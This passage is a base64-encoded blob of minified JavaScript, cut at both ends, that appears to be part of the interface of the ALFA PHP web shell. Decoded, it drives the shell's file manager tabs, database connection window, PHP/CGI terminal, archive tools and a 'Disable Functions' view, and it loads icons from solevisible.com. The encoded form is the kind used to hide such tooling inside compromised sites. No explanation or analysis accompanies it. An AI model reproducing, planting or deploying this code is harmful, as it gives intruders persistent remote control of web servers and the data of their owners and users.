jdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGFsZmFfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihhbGZhX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaXZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyIHQ9IiNmaWxlc21hbl9ob2xkZXJfIithbGZhX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc29sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWwtY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlLXRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+PGRpdiBjbGFzcz0ic3FsLW5ld3RhYiIgb25jbGljaz0iYWxmYV9jYW5fYWRkX29wdD10cnVlO2coXCdzcWxcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTsiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiM4MDAwMDA7Ij48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7Ij5OZXcgVGFiICs8L3NwYW4+PC9kaXY+JyksJChpKS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLGkpfSk7dHJ5eyQoaSkucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsaSl9Y2F0Y2goZSl7fXJldHVybiBpfSQodCkuaW5uZXJIVE1MPWU7dmFyIGw9JCgidGFiXyIrdCk7bnVsbCE9bCYmKCgtMT09bC5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKXx8ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZCkmJihsLmNsYXNzTGlzdC5hZGQoInRhYi1pcy1kb25lIiksYWxmYVNob3dOb3RpZmljYXRpb24oInByb2NjZXNzIGlzIGRvbmUuLi4iLCJEQjogIitsLmlubmVyVGV4dCkpLGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQmJmFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImRhdGFiYXNlX3dpbmRvdyIpKSx2b2lkIDAhPT1teXNxbF9jYWNoZVt0XSYmbXlzcWxfY2FjaGVbdF0uaGFzT3duUHJvcGVydHkoImRiIikmJm15c3FsX2NhY2hlW3RdLmRiLmxlbmd0aD4wJiYidXBkYXRlIiE9YSYmKGQucXVlcnlTZWxlY3RvcigiI3RhYl8iK3QrIj5zcGFuIikuaW5uZXJIVE1MPW15c3FsX2NhY2hlW3RdLmRiKSwkKHQpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5kYi1vcHQtaWQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2Uuc2V0QXR0cmlidXRlKCJkYl9pZCIsdCl9KTt0cnl7JCh0KS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIix0KX1jYXRjaChlKXt9ZGF0YWJhc2Vfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gbG9hZFBvcFVwT3BUaW9ucyhlLHQpe2NvbnNvbGUubG9nKGUpLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD0iIiwkKCJvcHRpb25zX3dpbmRvdyIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIjt2YXIgYT0kKCJvcHRpb25fIitlKTtpZihhbGZhX2Nhbl9hZGRfb3B0KXthbGZhX2Nhbl9hZGRfb3B0PSExO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX2hvbGRlci5vcHRpb25faXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe312YXIgaT0iIixsPSQoIm1lbnVfb3B0XyIrZSkuaW5uZXJIVE1MOyJtYXJrZXQiPT1lP2w9IkFsZmEgTWFya2V0IjoiR2V0RGlzRnVuYyI9PWUmJihsPSJEaXNhYmxlIEZ1bmN0aW9ucyIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgLnRhYl9uYW1lLnRhYl9pc19hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWJfaXNfYWN0aXZlIil9Y2F0Y2goZSl7fWlmKG51bGwhPWEpe3ZhciByPWEuZ2V0QXR0cmlidXRlKCJvcHRfY291bnQiKTtudWxsIT1yPyhpPXBhcnNlSW50KHIpKzEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpOihpPTEsYS5zZXRBdHRyaWJ1dGUoIm9wdF9jb3VudCIsaSkpfXZhciBvPSJvcHRpb25fIitlK2k7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfY29udGVudCIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicrbysnIiBjbGFzcz0ib3B0aW9uc19ob2xkZXIiPicrdCsiPC9kaXY+IiksZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9wdF9pZD0iJytvKyciIG9uY2xpY2s9Im9wdGlvbnNUYWJDb250cm9sbGVyKHRoaXMpOyIgdGl0bGU9IicrbCsnIiBpZD0idGFiXycrbysnIiBjbGFzcz0idGFiX25hbWUgdGFiX2lzX2FjdGl2ZSI+JytsKycgPGltZyBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJjbG9zZU9wdGlvbih0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZGVsZXRlLnN2ZyI+PC9kaXY+JyksJChvKS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitvKyIgZm9ybSwgIyIrbysiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwicmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgbD10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUraSl9ZWxzZXtsPXQuZ2V0QXR0cmlidXRlKCJvbmNsaWNrIik7dC5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCdhbGZhQmVmb3JlRG9BY3Rpb24oIicrZStpKyciKTsnK2wpfX0pO3RyeXskKG8pLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUraSl9Y2F0Y2goZSl7fXJldHVybiBlK2l9YS5pbm5lckhUTUw9dDt2YXIgbj0kKCJ0YWJfb3B0aW9uXyIrZSk7bnVsbCE9biYmKCgtMT09bi5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpfHxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobi5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIixuLmlubmVyVGV4dCkpLG9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZCYmYWxmYVVwZGF0ZU9wdGlvbnNCYWRnZSgib3B0aW9uc193aW5kb3ciKSksZC5xdWVyeVNlbGVjdG9yQWxsKCIjb3B0aW9uXyIrZSsiIGZvcm0sICNvcHRpb25fIitlKyIgYSIpLmZvckVhY2goZnVuY3Rpb24odCl7dmFyIGE9dC5jbGFzc0xpc3QudmFsdWU7aWYoImdldGNvbmZpZyI9PWF8fCJyZWplY3RtZSI9PWEpcmV0dXJuITE7aWYoIkZPUk0iPT10LnRhZ05hbWUpe3ZhciBpPXQuZ2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIpO3Quc2V0QXR0cmlidXRlKCJvbnN1Ym1pdCIsJ2FsZmFCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpLHQuc2V0QXR0cmlidXRlKCJvcHRfaWQiLGUpfWVsc2V7aT10LmdldEF0dHJpYnV0ZSgib25jbGljayIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnYWxmYUJlZm9yZURvQWN0aW9uKCInK2UrJyIpOycraSl9fSk7dHJ5e2EucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsZSl9Y2F0Y2goZSl7fW9wdGlvbnNfd2luZG93X2lzX21pbmltaXplZHx8KGQuYm9keS5zdHlsZS5vdmVyZmxvdz0iaGlkZGVuIil9ZnVuY3Rpb24gYWxmYUJlZm9yZURvQWN0aW9uKGUpe2FsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZD1lfWZ1bmN0aW9uIGFsZmFMb2FkZXJPblRvcChlKXskKCJhX2xvYWRlciIpLnN0eWxlLmRpc3BsYXk9ZSxkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImJsb2NrIj09ZT8iaGlkZGVuIjoidmlzaWJsZSJ9ZnVuY3Rpb24gYWxmYUFqYXhDb250cm9sbGVyKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJwYXJlbnQiKTskKCJsb2FkZXJfIit0KS5yZW1vdmUoKSwiZmlsZXNtYW5faG9sZGVyIj09dC5zdWJzdHIoMCwxNSkmJigkKHQpLnN0eWxlLm1pbkhlaWdodD0iMCIpLF9BTEZBX0FKQVhfLmhhc093blByb3BlcnR5KHQpJiZfQUxGQV9BSkFYX1t0XS5hYm9ydCgpfWZ1bmN0aW9uIGNsb3NlRGF0YWJhc2UoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigic3FsLWFjdGl2ZS10YWIiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5zcWwtdGFicyAuc3FsLXRhYm5hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1lbHNlIGVkaXRvckNsb3NlKCJkYXRhYmFzZV93aW5kb3ciKTtkLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VGbVRhYihlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImZtX2lkIiksaT0kKCJmaWxlc21hbl90YWJfIithKTtpZigtMSE9aS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiNmaWxlc21hbl90YWJzIC5maWxlc21hbl90YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpO3ZhciBsPWVbMF0uZ2V0QXR0cmlidXRlKCJmbV9pZCIpLHI9ImZpbGVzbWFuX2hvbGRlcl8iK2w7aWYobnVsbCE9JChyKSl7JChyKS5jbGFzc0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBvPSQoImZpbGVzbWFuX3RhYl8iK2wpLmdldEF0dHJpYnV0ZSgicGF0aCIpO2luaXREaXIobyksZC5tZi5jLnZhbHVlPW8sYWxmYV9jdXJyZW50X2ZtX2lkPWx9fWkucmVtb3ZlKCksJCgiZmlsZXNtYW5faG9sZGVyXyIrYSkucmVtb3ZlKCksYWxmYUZpbGVzbWFuVGFiSGlkZVRpdGxlKCl9ZnVuY3Rpb24gY2xvc2VPcHRpb24oZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZigkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigidGFiX2lzX2FjdGl2ZSIpKWlmKChlPWQucXVlcnlTZWxlY3RvckFsbCgiLm9wdGlvbnNfdGFiIC50YWJfbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpfWVsc2UgZWRpdG9yQ2xvc2UoIm9wdGlvbnNfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGhpc3RvcnlQYW5lbENvbnRyb2xsZXIoZSl7ImhpZGRlbiI9PWUuZ2V0QXR0cmlidXRlKCJtb2RlIik/KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItbW9kYWwiKS5zdHlsZS5tYXJnaW5MZWZ0PSIyMCUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwidmlzaWJsZSIpLGUuc3R5bGUubGVmdD0iMTklIixlLmlubmVySFRNTD0iPDwiKTooZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLWV4cGxvcmVyIikuc3R5bGUuZGlzcGxheT0ibm9uZSIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMSUiLGUuc2V0QXR0cmlidXRlKCJtb2RlIiwiaGlkZGVuIiksZS5zdHlsZS5sZWZ0PSIwJSIsZS5pbm5lckhUTUw9Ij4+Iil9ZnVuY3Rpb24gY2xvc2VUZXJtaW5hbENvbnRlbnQoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJhY3RpdmUtdGVybWluYWwtdGFiIikpJiYoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi50ZXJtaW5hbC10YWJzIC50ZXJtaW5hbC10YWIiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiYWN0aXZlLXRlcm1pbmFsLXRhYiIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJ0ZXJtX2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWQucXVlcnlTZWxlY3RvcigiZGl2W3Rlcm1faWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gY2xvc2VFZGl0b3JDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoKCQoYSkucmVtb3ZlKCksLTEhPSQoInRhYl8iK2EpLmNsYXNzTGlzdC52YWx1ZS5pbmRleE9mKCJlZGl0b3ItdGFiLWFjdGl2ZSIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuZWRpdG9yLXRhYnMgLmVkaXRvci10YWItbmFtZSIpKS5sZW5ndGg+MSl7ZVswXS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpfWQucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBvcHRpb25zVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJvcHRpb25faXNfYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiBcdC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJ0YWJfaXNfYWN0aXZlIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJ0aXRsZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoIm9wdGlvbnNfd2luZG93Iil9ZnVuY3Rpb24gdGVybWluYWxUYWJDb250cm9sbGVyKGUpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWIuYWN0aXZlLXRlcm1pbmFsLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoImFjdGl2ZS10ZXJtaW5hbC10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnRlcm1pbmFsLWNvbnRlbnQuYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7JCh0KS5jbGFzc0xpc3QudG9nZ2xlKCJhY3RpdmUtdGVybWluYWwtY29udGVudCIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKSwkKHQpLnF1ZXJ5U2VsZWN0b3IoIi5waHAtdGVybWluYWwtaW5wdXQiKS5mb2N1cygpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImNnaWxvYWRlciIpfWZ1bmN0aW9uIGZpbGVzbWFuVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuYWpheGFyZWEuZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuZmlsZXNtYW5fdGFiLmZpbGVzbWFuLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJmaWxlc21hbi10YWItYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpO2lmKG51bGw9PXQpcmV0dXJuITE7YWxmYV9jdXJyZW50X2ZtX2lkPXQsZS5jbGFzc0xpc3QuYWRkKCJmaWxlc21hbi10YWItYWN0aXZlIiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLCQoImZpbGVzbWFuX2hvbGRlcl8iK3QpLmNsYXNzTGlzdC50b2dnbGUoImZpbGVzbWFuLWFjdGl2ZS1jb250ZW50Iik7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKGEpLGQubWYuYy52YWx1ZT1hfWZ1bmN0aW9uIGRiVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLWNvbnRlbnQuc3FsLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtdGFibmFtZS5zcWwtYWN0aXZlLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtdGFiIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50IiksZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgic3FsLWFjdGl2ZS10YWIiKSxhbGZhVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKX1mdW5jdGlvbiBlZGl0b3JUYWJDb250cm9sbGVyKGUsdCl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci1jb250ZW50cy5lZGl0b3ItY29udGVudC1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGE9bnVsbDt2b2lkIDA9PT10P2E9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpOihhPWUsZT0kKCJ0YWJfIithKSk7dmFyIGk9ZWRpdG9yX2ZpbGVzWyJmaWxlXyIrYS5yZXBsYWNlKCJlZGl0b3Jfc291cmNlXyIsIiIpXTtpZih2b2lkIDAhPT1pJiYoZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLXBhdGgiKS5pbm5lckhUTUw9KGkucHdkKyIvIitpLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKSxudWxsPT1hKXJldHVybiExOyQoYSkuY2xhc3NMaXN0LnRvZ2dsZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIik7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUuZWRpdG9yLXRhYi1hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJlZGl0b3ItdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe31lLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJlZGl0b3ItdGFiLWFjdGl2ZSIpLGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoImVkaXRvciIpfWZ1bmN0aW9uIGFsZmFVcGRhdGVPcHRpb25zQmFkZ2UoZSl7dmFyIHQ9ZC5xdWVyeVNlbGVjdG9yKCIjIitlKyItbWluaW1pemVkIC5vcHRpb25zX21pbl9iYWRnZSIpO2lmKG51bGwhPXQpe3ZhciBhPWQucXVlcnlTZWxlY3RvckFsbCgiIyIrZSsiIC50YWItaXMtZG9uZSIpLmxlbmd0aDt0LmlubmVySFRNTD1hLHQuc3R5bGUudmlzaWJpbGl0eT1hPjA/InZpc2libGUiOiJoaWRkZW4ifX1mdW5jdGlvbiBhbGZhT3BlblBocFRlcm1pbmFsKGUpe2lmKHBocF90ZW1yaW5hbF91c2luZ19jZ2kmJnZvaWQgMD09PWUpc2hvd0VkaXRvcigiY2dpbG9hZGVyIik7ZWxzZXskKCJjZ2lsb2FkZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsJCgiY2dpbG9hZGVyIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjU3KSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5iYWNrZ3JvdW5kPSJyZ2JhKDAsIDAsIDAsIDAuODEpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmJvcmRlcj0iMXB4IHNvbGlkIHJnYigzMCwgODYsIDExNSkiLCQoImNna